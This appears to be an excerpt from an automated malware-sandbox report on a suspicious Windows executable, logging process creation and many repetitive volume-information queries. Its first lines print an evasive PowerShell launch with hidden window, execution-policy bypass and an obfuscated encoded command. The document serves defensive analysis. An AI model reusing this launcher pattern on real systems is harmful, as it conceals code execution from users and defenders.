Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
